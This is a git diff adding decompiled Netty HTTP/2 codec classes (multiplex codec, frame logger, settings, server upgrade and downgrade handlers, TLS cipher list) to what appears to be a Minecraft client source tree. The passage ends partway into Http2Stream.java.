+      } else {
+        channel.unsafe().closeForcibly();
+      }
+    }
+    return future;
+  }
+  
+  private static void initOpts(Channel channel, Map<ChannelOption<?>, Object> opts)
+  {
+    if (opts != null) {
+      for (Map.Entry<ChannelOption<?>, Object> e : opts.entrySet()) {
+        try {
+          if (!channel.config().setOption((ChannelOption)e.getKey(), e.getValue())) {
+            logger.warn("Unknown channel option: " + e);
+          }
+        } catch (Throwable t) {
+          logger.warn("Failed to set a channel option: " + channel, t);
+        }
+      }
+    }
+  }
+  
+  private static void initAttrs(Channel channel, Map<AttributeKey<?>, Object> attrs)
+  {
+    if (attrs != null) {
+      for (Map.Entry<AttributeKey<?>, Object> e : attrs.entrySet()) {
+        channel.attr((AttributeKey)e.getKey()).set(e.getValue());
+      }
+    }
+  }
+  
+  final class Http2StreamChannel
+    extends AbstractHttp2StreamChannel
+    implements ChannelFutureListener
+  {
+    boolean onStreamClosedFired;
+    boolean inStreamsToFireChildReadComplete;
+    
+    Http2StreamChannel(Channel parentChannel)
+    {
+      super();
+    }
+    
+    protected void doClose() throws Exception
+    {
+      if ((!onStreamClosedFired) && (Http2CodecUtil.isStreamIdValid(streamId()))) {
+        Http2StreamFrame resetFrame = new DefaultHttp2ResetFrame(Http2Error.CANCEL).streamId(streamId());
+        writeFromStreamChannel(resetFrame, true);
+      }
+      super.doClose();
+    }
+    
+    protected void doWrite(Object msg)
+    {
+      if (!(msg instanceof Http2StreamFrame)) {
+        ReferenceCountUtil.release(msg);
+        throw new IllegalArgumentException("Message must be an Http2StreamFrame: " + msg);
+      }
+      Http2StreamFrame frame = (Http2StreamFrame)msg;
+      ChannelPromise promise = ctx.newPromise();
+      if (Http2CodecUtil.isStreamIdValid(frame.streamId())) {
+        ReferenceCountUtil.release(frame);
+        throw new IllegalArgumentException("Stream id must not be set on the frame. Was: " + frame.streamId());
+      }
+      if (!Http2CodecUtil.isStreamIdValid(streamId())) {
+        if (!(frame instanceof Http2HeadersFrame)) {
+          throw new IllegalArgumentException("The first frame must be a headers frame. Was: " + frame.name());
+        }
+        frame = new Http2MultiplexCodec.ChannelCarryingHeadersFrame((Http2HeadersFrame)frame, this);
+        
+        promise.addListener(this);
+      } else {
+        frame.streamId(streamId());
+      }
+      writeFromStreamChannel(frame, promise, false);
+    }
+    
+    protected void doWriteComplete()
+    {
+      flushFromStreamChannel();
+    }
+    
+    protected EventExecutor preferredEventExecutor()
+    {
+      return ctx.executor();
+    }
+    
+    protected void bytesConsumed(int bytes)
+    {
+      ctx.write(new DefaultHttp2WindowUpdateFrame(bytes).streamId(streamId()));
+    }
+    
+    public void operationComplete(ChannelFuture future) throws Exception
+    {
+      Throwable cause = future.cause();
+      if (cause != null) {
+        pipeline().fireExceptionCaught(cause);
+        close();
+      }
+    }
+  }
+  
+
+  private static final class ChannelCarryingHeadersFrame
+    implements Http2HeadersFrame
+  {
+    private final Http2HeadersFrame frame;
+    
+    private final Http2MultiplexCodec.Http2StreamChannel childChannel;
+    
+    ChannelCarryingHeadersFrame(Http2HeadersFrame frame, Http2MultiplexCodec.Http2StreamChannel childChannel)
+    {
+      this.frame = frame;
+      this.childChannel = childChannel;
+    }
+    
+    public Http2Headers headers()
+    {
+      return frame.headers();
+    }
+    
+    public boolean isEndStream()
+    {
+      return frame.isEndStream();
+    }
+    
+    public int padding()
+    {
+      return frame.padding();
+    }
+    
+    public Http2StreamFrame streamId(int streamId)
+    {
+      return frame.streamId(streamId);
+    }
+    
+    public int streamId()
+    {
+      return frame.streamId();
+    }
+    
+    public String name()
+    {
+      return frame.name();
+    }
+    
+    Http2MultiplexCodec.Http2StreamChannel channel() {
+      return childChannel;
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2NoMoreStreamIdsException.java b/src/minecraft/io/netty/handler/codec/http2/Http2NoMoreStreamIdsException.java
new file mode 100644
index 0000000..d6514c9
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2NoMoreStreamIdsException.java
@@ -0,0 +1,36 @@
+package io.netty.handler.codec.http2;
+
+
+
+
+
+
+
+
+public class Http2NoMoreStreamIdsException
+  extends Http2Exception
+{
+  private static final long serialVersionUID = -7756236161274851110L;
+  
+
+
+
+
+
+  private static final String ERROR_MESSAGE = "No more streams can be created on this connection";
+  
+
+
+
+
+
+
+  public Http2NoMoreStreamIdsException()
+  {
+    super(Http2Error.PROTOCOL_ERROR, "No more streams can be created on this connection", Http2Exception.ShutdownHint.GRACEFUL_SHUTDOWN);
+  }
+  
+  public Http2NoMoreStreamIdsException(Throwable cause) {
+    super(Http2Error.PROTOCOL_ERROR, "No more streams can be created on this connection", cause, Http2Exception.ShutdownHint.GRACEFUL_SHUTDOWN);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2OutboundFrameLogger.java b/src/minecraft/io/netty/handler/codec/http2/Http2OutboundFrameLogger.java
new file mode 100644
index 0000000..8bd596b
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2OutboundFrameLogger.java
@@ -0,0 +1,139 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.channel.ChannelFuture;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPromise;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2OutboundFrameLogger
+  implements Http2FrameWriter
+{
+  private final Http2FrameWriter writer;
+  private final Http2FrameLogger logger;
+  
+  public Http2OutboundFrameLogger(Http2FrameWriter writer, Http2FrameLogger logger)
+  {
+    this.writer = ((Http2FrameWriter)ObjectUtil.checkNotNull(writer, "writer"));
+    this.logger = ((Http2FrameLogger)ObjectUtil.checkNotNull(logger, "logger"));
+  }
+  
+
+  public ChannelFuture writeData(ChannelHandlerContext ctx, int streamId, ByteBuf data, int padding, boolean endStream, ChannelPromise promise)
+  {
+    logger.logData(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, data, padding, endStream);
+    return writer.writeData(ctx, streamId, data, padding, endStream, promise);
+  }
+  
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int padding, boolean endStream, ChannelPromise promise)
+  {
+    logger.logHeaders(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, headers, padding, endStream);
+    return writer.writeHeaders(ctx, streamId, headers, padding, endStream, promise);
+  }
+  
+
+
+  public ChannelFuture writeHeaders(ChannelHandlerContext ctx, int streamId, Http2Headers headers, int streamDependency, short weight, boolean exclusive, int padding, boolean endStream, ChannelPromise promise)
+  {
+    logger.logHeaders(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream);
+    
+    return writer.writeHeaders(ctx, streamId, headers, streamDependency, weight, exclusive, padding, endStream, promise);
+  }
+  
+
+
+  public ChannelFuture writePriority(ChannelHandlerContext ctx, int streamId, int streamDependency, short weight, boolean exclusive, ChannelPromise promise)
+  {
+    logger.logPriority(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, streamDependency, weight, exclusive);
+    return writer.writePriority(ctx, streamId, streamDependency, weight, exclusive, promise);
+  }
+  
+
+  public ChannelFuture writeRstStream(ChannelHandlerContext ctx, int streamId, long errorCode, ChannelPromise promise)
+  {
+    logger.logRstStream(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, errorCode);
+    return writer.writeRstStream(ctx, streamId, errorCode, promise);
+  }
+  
+
+  public ChannelFuture writeSettings(ChannelHandlerContext ctx, Http2Settings settings, ChannelPromise promise)
+  {
+    logger.logSettings(Http2FrameLogger.Direction.OUTBOUND, ctx, settings);
+    return writer.writeSettings(ctx, settings, promise);
+  }
+  
+  public ChannelFuture writeSettingsAck(ChannelHandlerContext ctx, ChannelPromise promise)
+  {
+    logger.logSettingsAck(Http2FrameLogger.Direction.OUTBOUND, ctx);
+    return writer.writeSettingsAck(ctx, promise);
+  }
+  
+
+  public ChannelFuture writePing(ChannelHandlerContext ctx, boolean ack, ByteBuf data, ChannelPromise promise)
+  {
+    if (ack) {
+      logger.logPingAck(Http2FrameLogger.Direction.OUTBOUND, ctx, data);
+    } else {
+      logger.logPing(Http2FrameLogger.Direction.OUTBOUND, ctx, data);
+    }
+    return writer.writePing(ctx, ack, data, promise);
+  }
+  
+
+  public ChannelFuture writePushPromise(ChannelHandlerContext ctx, int streamId, int promisedStreamId, Http2Headers headers, int padding, ChannelPromise promise)
+  {
+    logger.logPushPromise(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, promisedStreamId, headers, padding);
+    return writer.writePushPromise(ctx, streamId, promisedStreamId, headers, padding, promise);
+  }
+  
+
+  public ChannelFuture writeGoAway(ChannelHandlerContext ctx, int lastStreamId, long errorCode, ByteBuf debugData, ChannelPromise promise)
+  {
+    logger.logGoAway(Http2FrameLogger.Direction.OUTBOUND, ctx, lastStreamId, errorCode, debugData);
+    return writer.writeGoAway(ctx, lastStreamId, errorCode, debugData, promise);
+  }
+  
+
+  public ChannelFuture writeWindowUpdate(ChannelHandlerContext ctx, int streamId, int windowSizeIncrement, ChannelPromise promise)
+  {
+    logger.logWindowsUpdate(Http2FrameLogger.Direction.OUTBOUND, ctx, streamId, windowSizeIncrement);
+    return writer.writeWindowUpdate(ctx, streamId, windowSizeIncrement, promise);
+  }
+  
+
+  public ChannelFuture writeFrame(ChannelHandlerContext ctx, byte frameType, int streamId, Http2Flags flags, ByteBuf payload, ChannelPromise promise)
+  {
+    logger.logUnknownFrame(Http2FrameLogger.Direction.OUTBOUND, ctx, frameType, streamId, flags, payload);
+    return writer.writeFrame(ctx, frameType, streamId, flags, payload, promise);
+  }
+  
+  public void close()
+  {
+    writer.close();
+  }
+  
+  public Http2FrameWriter.Configuration configuration()
+  {
+    return writer.configuration();
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2PromisedRequestVerifier.java b/src/minecraft/io/netty/handler/codec/http2/Http2PromisedRequestVerifier.java
new file mode 100644
index 0000000..5ddad0e
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2PromisedRequestVerifier.java
@@ -0,0 +1,80 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.ChannelHandlerContext;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract interface Http2PromisedRequestVerifier
+{
+  public static final Http2PromisedRequestVerifier ALWAYS_VERIFY = new Http2PromisedRequestVerifier()
+  {
+    public boolean isAuthoritative(ChannelHandlerContext ctx, Http2Headers headers) {
+      return true;
+    }
+    
+    public boolean isCacheable(Http2Headers headers)
+    {
+      return true;
+    }
+    
+    public boolean isSafe(Http2Headers headers)
+    {
+      return true;
+    }
+  };
+  
+  public abstract boolean isAuthoritative(ChannelHandlerContext paramChannelHandlerContext, Http2Headers paramHttp2Headers);
+  
+  public abstract boolean isCacheable(Http2Headers paramHttp2Headers);
+  
+  public abstract boolean isSafe(Http2Headers paramHttp2Headers);
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2RemoteFlowController.java b/src/minecraft/io/netty/handler/codec/http2/Http2RemoteFlowController.java
new file mode 100644
index 0000000..272c36c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2RemoteFlowController.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.channel.ChannelHandlerContext;
+
+public abstract interface Http2RemoteFlowController
+  extends Http2FlowController
+{
+  public abstract ChannelHandlerContext channelHandlerContext();
+  
+  public abstract void addFlowControlled(Http2Stream paramHttp2Stream, FlowControlled paramFlowControlled);
+  
+  public abstract boolean hasFlowControlled(Http2Stream paramHttp2Stream);
+  
+  public abstract void writePendingBytes()
+    throws Http2Exception;
+  
+  public abstract void listener(Listener paramListener);
+  
+  public abstract boolean isWritable(Http2Stream paramHttp2Stream);
+  
+  public abstract void channelWritabilityChanged()
+    throws Http2Exception;
+  
+  public static abstract interface Listener
+  {
+    public abstract void writabilityChanged(Http2Stream paramHttp2Stream);
+  }
+  
+  public static abstract interface FlowControlled
+  {
+    public abstract int size();
+    
+    public abstract void error(ChannelHandlerContext paramChannelHandlerContext, Throwable paramThrowable);
+    
+    public abstract void writeComplete();
+    
+    public abstract void write(ChannelHandlerContext paramChannelHandlerContext, int paramInt);
+    
+    public abstract boolean merge(ChannelHandlerContext paramChannelHandlerContext, FlowControlled paramFlowControlled);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ResetFrame.java b/src/minecraft/io/netty/handler/codec/http2/Http2ResetFrame.java
new file mode 100644
index 0000000..79ddf48
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ResetFrame.java
@@ -0,0 +1,7 @@
+package io.netty.handler.codec.http2;
+
+public abstract interface Http2ResetFrame
+  extends Http2StreamFrame
+{
+  public abstract long errorCode();
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2SecurityUtil.java b/src/minecraft/io/netty/handler/codec/http2/Http2SecurityUtil.java
new file mode 100644
index 0000000..2f5e9fe
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2SecurityUtil.java
@@ -0,0 +1,65 @@
+package io.netty.handler.codec.http2;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2SecurityUtil
+{
+  public static final List<String> CIPHERS;
+  private static final List<String> CIPHERS_JAVA_MOZILLA_INCREASED_SECURITY = Collections.unmodifiableList(Arrays.asList(new String[] { "TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256", "TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_RSA_WITH_AES_128_GCM_SHA256", "TLS_DHE_DSS_WITH_AES_128_GCM_SHA256" }));
+  
+
+
+
+
+
+
+
+
+
+
+  private static final List<String> CIPHERS_JAVA_NO_MOZILLA_INCREASED_SECURITY = Collections.unmodifiableList(Arrays.asList(new String[] { "TLS_DHE_RSA_WITH_AES_256_GCM_SHA384", "TLS_DHE_DSS_WITH_AES_256_GCM_SHA384" }));
+  
+
+  private Http2SecurityUtil() {}
+  
+  static
+  {
+    List<String> ciphers = new ArrayList(CIPHERS_JAVA_MOZILLA_INCREASED_SECURITY.size() + CIPHERS_JAVA_NO_MOZILLA_INCREASED_SECURITY.size());
+    
+    ciphers.addAll(CIPHERS_JAVA_MOZILLA_INCREASED_SECURITY);
+    ciphers.addAll(CIPHERS_JAVA_NO_MOZILLA_INCREASED_SECURITY);
+    CIPHERS = Collections.unmodifiableList(ciphers);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ServerDowngrader.java b/src/minecraft/io/netty/handler/codec/http2/Http2ServerDowngrader.java
new file mode 100644
index 0000000..ddea837
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ServerDowngrader.java
@@ -0,0 +1,135 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.Unpooled;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.handler.codec.MessageToMessageCodec;
+import io.netty.handler.codec.http.DefaultHttpContent;
+import io.netty.handler.codec.http.DefaultLastHttpContent;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpContent;
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpObject;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpUtil;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.handler.codec.http.LastHttpContent;
+import io.netty.util.ReferenceCountUtil;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2ServerDowngrader
+  extends MessageToMessageCodec<Http2StreamFrame, HttpObject>
+{
+  private final boolean validateHeaders;
+  
+  public Http2ServerDowngrader(boolean validateHeaders)
+  {
+    this.validateHeaders = validateHeaders;
+  }
+  
+  public Http2ServerDowngrader() {
+    this(true);
+  }
+  
+  public boolean acceptInboundMessage(Object msg) throws Exception
+  {
+    return ((msg instanceof Http2HeadersFrame)) || ((msg instanceof Http2DataFrame));
+  }
+  
+  protected void decode(ChannelHandlerContext ctx, Http2StreamFrame frame, List<Object> out) throws Exception
+  {
+    if ((frame instanceof Http2HeadersFrame)) {
+      int id = 0;
+      Http2HeadersFrame headersFrame = (Http2HeadersFrame)frame;
+      Http2Headers headers = headersFrame.headers();
+      
+      if (headersFrame.isEndStream()) {
+        if (headers.method() == null) {
+          LastHttpContent last = new DefaultLastHttpContent(Unpooled.EMPTY_BUFFER, validateHeaders);
+          HttpConversionUtil.addHttp2ToHttpHeaders(id, headers, last.trailingHeaders(), HttpVersion.HTTP_1_1, true, true);
+          
+          out.add(last);
+        } else {
+          FullHttpRequest full = HttpConversionUtil.toFullHttpRequest(id, headers, ctx.alloc(), validateHeaders);
+          
+          out.add(full);
+        }
+      } else {
+        HttpRequest req = HttpConversionUtil.toHttpRequest(id, headersFrame.headers(), validateHeaders);
+        if (!HttpUtil.isContentLengthSet(req)) {
+          req.headers().add(HttpHeaderNames.TRANSFER_ENCODING, HttpHeaderValues.CHUNKED);
+        }
+        out.add(req);
+      }
+    } else if ((frame instanceof Http2DataFrame)) {
+      Http2DataFrame dataFrame = (Http2DataFrame)frame;
+      if (dataFrame.isEndStream()) {
+        out.add(new DefaultLastHttpContent(dataFrame.content(), validateHeaders));
+      } else {
+        out.add(new DefaultHttpContent(dataFrame.content()));
+      }
+    }
+    ReferenceCountUtil.retain(frame);
+  }
+  
+  private void encodeLastContent(LastHttpContent last, List<Object> out) {
+    boolean needFiller = (!(last instanceof FullHttpResponse)) && (last.trailingHeaders().isEmpty());
+    if ((last.content().isReadable()) || (needFiller)) {
+      out.add(new DefaultHttp2DataFrame(last.content(), last.trailingHeaders().isEmpty()));
+    }
+    if (!last.trailingHeaders().isEmpty()) {
+      Http2Headers headers = HttpConversionUtil.toHttp2Headers(last.trailingHeaders(), validateHeaders);
+      out.add(new DefaultHttp2HeadersFrame(headers, true));
+    }
+  }
+  
+  protected void encode(ChannelHandlerContext ctx, HttpObject obj, List<Object> out) throws Exception
+  {
+    if ((obj instanceof HttpResponse)) {
+      Http2Headers headers = HttpConversionUtil.toHttp2Headers((HttpResponse)obj, validateHeaders);
+      boolean noMoreFrames = false;
+      if ((obj instanceof FullHttpResponse)) {
+        FullHttpResponse full = (FullHttpResponse)obj;
+        noMoreFrames = (!full.content().isReadable()) && (full.trailingHeaders().isEmpty());
+      }
+      
+      out.add(new DefaultHttp2HeadersFrame(headers, noMoreFrames));
+    }
+    
+    if ((obj instanceof LastHttpContent)) {
+      LastHttpContent last = (LastHttpContent)obj;
+      encodeLastContent(last, out);
+    } else if ((obj instanceof HttpContent)) {
+      HttpContent cont = (HttpContent)obj;
+      out.add(new DefaultHttp2DataFrame(cont.content(), false));
+    }
+    ReferenceCountUtil.retain(obj);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2ServerUpgradeCodec.java b/src/minecraft/io/netty/handler/codec/http2/Http2ServerUpgradeCodec.java
new file mode 100644
index 0000000..6f43e7f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2ServerUpgradeCodec.java
@@ -0,0 +1,186 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufAllocator;
+import io.netty.buffer.ByteBufUtil;
+import io.netty.channel.ChannelHandler;
+import io.netty.channel.ChannelHandlerContext;
+import io.netty.channel.ChannelPipeline;
+import io.netty.handler.codec.base64.Base64;
+import io.netty.handler.codec.base64.Base64Dialect;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpServerUpgradeHandler.UpgradeCodec;
+import io.netty.util.CharsetUtil;
+import io.netty.util.internal.ObjectUtil;
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.nio.CharBuffer;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Http2ServerUpgradeCodec
+  implements HttpServerUpgradeHandler.UpgradeCodec
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(Http2ServerUpgradeCodec.class);
+  private static final List<CharSequence> REQUIRED_UPGRADE_HEADERS = Collections.singletonList(Http2CodecUtil.HTTP_UPGRADE_SETTINGS_HEADER);
+  
+
+  private final String handlerName;
+  
+
+  private final Http2ConnectionHandler connectionHandler;
+  
+  private final ChannelHandler upgradeToHandler;
+  
+  private final Http2FrameReader frameReader;
+  
+
+  public Http2ServerUpgradeCodec(Http2ConnectionHandler connectionHandler)
+  {
+    this(null, connectionHandler);
+  }
+  
+
+
+
+
+
+  public Http2ServerUpgradeCodec(Http2Codec http2Codec)
+  {
+    this(null, http2Codec);
+  }
+  
+
+
+
+
+
+
+  public Http2ServerUpgradeCodec(String handlerName, Http2ConnectionHandler connectionHandler)
+  {
+    this(handlerName, connectionHandler, connectionHandler);
+  }
+  
+
+
+
+
+
+  public Http2ServerUpgradeCodec(String handlerName, Http2Codec http2Codec)
+  {
+    this(handlerName, http2Codec.frameCodec().connectionHandler(), http2Codec);
+  }
+  
+  Http2ServerUpgradeCodec(String handlerName, Http2ConnectionHandler connectionHandler, ChannelHandler upgradeToHandler)
+  {
+    this.handlerName = handlerName;
+    this.connectionHandler = ((Http2ConnectionHandler)ObjectUtil.checkNotNull(connectionHandler, "connectionHandler"));
+    this.upgradeToHandler = ((ChannelHandler)ObjectUtil.checkNotNull(upgradeToHandler, "upgradeToHandler"));
+    frameReader = new DefaultHttp2FrameReader();
+  }
+  
+  public Collection<CharSequence> requiredUpgradeHeaders()
+  {
+    return REQUIRED_UPGRADE_HEADERS;
+  }
+  
+
+
+  public boolean prepareUpgradeResponse(ChannelHandlerContext ctx, FullHttpRequest upgradeRequest, HttpHeaders headers)
+  {
+    try
+    {
+      List<String> upgradeHeaders = upgradeRequest.headers().getAll(Http2CodecUtil.HTTP_UPGRADE_SETTINGS_HEADER);
+      if ((upgradeHeaders.isEmpty()) || (upgradeHeaders.size() > 1)) {
+        throw new IllegalArgumentException("There must be 1 and only 1 " + Http2CodecUtil.HTTP_UPGRADE_SETTINGS_HEADER + " header.");
+      }
+      
+      Http2Settings settings = decodeSettingsHeader(ctx, (CharSequence)upgradeHeaders.get(0));
+      connectionHandler.onHttpServerUpgrade(settings);
+      
+      return true;
+    } catch (Throwable cause) {
+      logger.info("Error during upgrade to HTTP/2", cause); }
+    return false;
+  }
+  
+
+
+  public void upgradeTo(ChannelHandlerContext ctx, FullHttpRequest upgradeRequest)
+  {
+    ctx.pipeline().addAfter(ctx.name(), handlerName, upgradeToHandler);
+  }
+  
+
+
+  private Http2Settings decodeSettingsHeader(ChannelHandlerContext ctx, CharSequence settingsHeader)
+    throws Http2Exception
+  {
+    ByteBuf header = ByteBufUtil.encodeString(ctx.alloc(), CharBuffer.wrap(settingsHeader), CharsetUtil.UTF_8);
+    try
+    {
+      ByteBuf payload = Base64.decode(header, Base64Dialect.URL_SAFE);
+      
+
+      ByteBuf frame = createSettingsFrame(ctx, payload);
+      
+
+      return decodeSettings(ctx, frame);
+    } finally {
+      header.release();
+    }
+  }
+  
+  private Http2Settings decodeSettings(ChannelHandlerContext ctx, ByteBuf frame)
+    throws Http2Exception
+  {
+    try
+    {
+      final Http2Settings decodedSettings = new Http2Settings();
+      frameReader.readFrame(ctx, frame, new Http2FrameAdapter()
+      {
+        public void onSettingsRead(ChannelHandlerContext ctx, Http2Settings settings) {
+          decodedSettings.copyFrom(settings);
+        }
+      });
+      return decodedSettings;
+    } finally {
+      frame.release();
+    }
+  }
+  
+
+
+  private static ByteBuf createSettingsFrame(ChannelHandlerContext ctx, ByteBuf payload)
+  {
+    ByteBuf frame = ctx.alloc().buffer(9 + payload.readableBytes());
+    Http2CodecUtil.writeFrameHeader(frame, payload.readableBytes(), (byte)4, new Http2Flags(), 0);
+    frame.writeBytes(payload);
+    payload.release();
+    return frame;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Settings.java b/src/minecraft/io/netty/handler/codec/http2/Http2Settings.java
new file mode 100644
index 0000000..cc71856
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Settings.java
@@ -0,0 +1,264 @@
+package io.netty.handler.codec.http2;
+
+import io.netty.util.collection.CharObjectHashMap;
+import io.netty.util.internal.ObjectUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class Http2Settings
+  extends CharObjectHashMap<Long>
+{
+  private static final int DEFAULT_CAPACITY = 13;
+  private static final Long FALSE = Long.valueOf(0L);
+  private static final Long TRUE = Long.valueOf(1L);
+  
+  public Http2Settings() {
+    this(13);
+  }
+  
+  public Http2Settings(int initialCapacity, float loadFactor) {
+    super(initialCapacity, loadFactor);
+  }
+  
+  public Http2Settings(int initialCapacity) {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+  public Long put(char key, Long value)
+  {
+    verifyStandardSetting(key, value);
+    return (Long)super.put(key, value);
+  }
+  
+
+
+  public Long headerTableSize()
+  {
+    return (Long)get('\001');
+  }
+  
+
+
+
+
+  public Http2Settings headerTableSize(long value)
+  {
+    put('\001', Long.valueOf(value));
+    return this;
+  }
+  
+
+
+  public Boolean pushEnabled()
+  {
+    Long value = (Long)get('\002');
+    if (value == null) {
+      return null;
+    }
+    return Boolean.valueOf(TRUE.equals(value));
+  }
+  
+
+
+  public Http2Settings pushEnabled(boolean enabled)
+  {
+    put('\002', enabled ? TRUE : FALSE);
+    return this;
+  }
+  
+
+
+  public Long maxConcurrentStreams()
+  {
+    return (Long)get('\003');
+  }
+  
+
+
+
+
+  public Http2Settings maxConcurrentStreams(long value)
+  {
+    put('\003', Long.valueOf(value));
+    return this;
+  }
+  
+
+
+  public Integer initialWindowSize()
+  {
+    return getIntValue('\004');
+  }
+  
+
+
+
+
+  public Http2Settings initialWindowSize(int value)
+  {
+    put('\004', Long.valueOf(value));
+    return this;
+  }
+  
+
+
+  public Integer maxFrameSize()
+  {
+    return getIntValue('\005');
+  }
+  
+
+
+
+
+  public Http2Settings maxFrameSize(int value)
+  {
+    put('\005', Long.valueOf(value));
+    return this;
+  }
+  
+
+
+  public Long maxHeaderListSize()
+  {
+    return (Long)get('\006');
+  }
+  
+
+
+
+
+  public Http2Settings maxHeaderListSize(long value)
+  {
+    put('\006', Long.valueOf(value));
+    return this;
+  }
+  
+
+
+  public Http2Settings copyFrom(Http2Settings settings)
+  {
+    clear();
+    putAll(settings);
+    return this;
+  }
+  
+
+
+
+
+  public Integer getIntValue(char key)
+  {
+    Long value = (Long)get(key);
+    if (value == null) {
+      return null;
+    }
+    return Integer.valueOf(value.intValue());
+  }
+  
+  private static void verifyStandardSetting(int key, Long value) {
+    ObjectUtil.checkNotNull(value, "value");
+    switch (key) {
+    case 1: 
+      if ((value.longValue() < 0L) || (value.longValue() > 4294967295L)) {
+        throw new IllegalArgumentException("Setting HEADER_TABLE_SIZE is invalid: " + value);
+      }
+      break;
+    case 2: 
+      if ((value.longValue() != 0L) && (value.longValue() != 1L)) {
+        throw new IllegalArgumentException("Setting ENABLE_PUSH is invalid: " + value);
+      }
+      break;
+    case 3: 
+      if ((value.longValue() < 0L) || (value.longValue() > 4294967295L)) {
+        throw new IllegalArgumentException("Setting MAX_CONCURRENT_STREAMS is invalid: " + value);
+      }
+      
+      break;
+    case 4: 
+      if ((value.longValue() < 0L) || (value.longValue() > 2147483647L)) {
+        throw new IllegalArgumentException("Setting INITIAL_WINDOW_SIZE is invalid: " + value);
+      }
+      
+      break;
+    case 5: 
+      if (!Http2CodecUtil.isMaxFrameSizeValid(value.intValue())) {
+        throw new IllegalArgumentException("Setting MAX_FRAME_SIZE is invalid: " + value);
+      }
+      break;
+    case 6: 
+      if ((value.longValue() < 0L) || (value.longValue() > 4294967295L)) {
+        throw new IllegalArgumentException("Setting MAX_HEADER_LIST_SIZE is invalid: " + value);
+      }
+      
+      break;
+    }
+    
+  }
+  
+
+  protected String keyToString(char key)
+  {
+    switch (key) {
+    case '\001': 
+      return "HEADER_TABLE_SIZE";
+    case '\002': 
+      return "ENABLE_PUSH";
+    case '\003': 
+      return "MAX_CONCURRENT_STREAMS";
+    case '\004': 
+      return "INITIAL_WINDOW_SIZE";
+    case '\005': 
+      return "MAX_FRAME_SIZE";
+    case '\006': 
+      return "MAX_HEADER_LIST_SIZE";
+    }
+    
+    return super.keyToString(key);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/http2/Http2Stream.java b/src/minecraft/io/netty/handler/codec/http2/Http2Stream.java
new file mode 100644
index 0000000..371b376
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/http2/Http2Stream.java
@@ -0,0 +1,84 @@
+package io.netty.handler.codec.http2;
+
+
